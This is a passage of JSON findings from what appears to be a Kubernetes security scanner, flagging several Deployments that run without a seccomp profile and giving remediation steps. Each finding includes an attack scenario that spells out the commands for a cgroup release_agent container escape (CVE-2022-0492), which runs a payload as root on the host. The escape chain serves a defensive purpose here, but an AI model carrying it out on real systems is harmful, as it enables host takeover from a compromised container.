    "description": "Container `app` in `Deployment/csr-fixtures/csr-mint-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-mint-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-mint-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n csr-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/csr-mint-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:csr-fixtures:csr-sign-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/csr-fixtures/csr-sign-app`",
    "description": "Container `app` in `Deployment/csr-fixtures/csr-sign-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-sign-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-sign-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n csr-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/csr-sign-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:flat-network:unmatched:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/flat-network/unmatched`",
    "description": "Container `app` in `Deployment/flat-network/unmatched` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "unmatched",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/unmatched`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n flat-network \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/unmatched -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:foothold-fixtures:foothold-priv-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/foothold-fixtures/foothold-priv-app`",
    "description": "Container `app` in `Deployment/foothold-fixtures/foothold-priv-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-priv-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-priv-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n foothold-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/foothold-priv-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:foothold-fixtures:foothold-quiet-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/foothold-fixtures/foothold-quiet-app`",
    "description": "Container `app` in `Deployment/foothold-fixtures/foothold-quiet-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-quiet-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-quiet-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n foothold-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/foothold-quiet-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:gw-workloads:gw-web:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/gw-workloads/gw-web`",
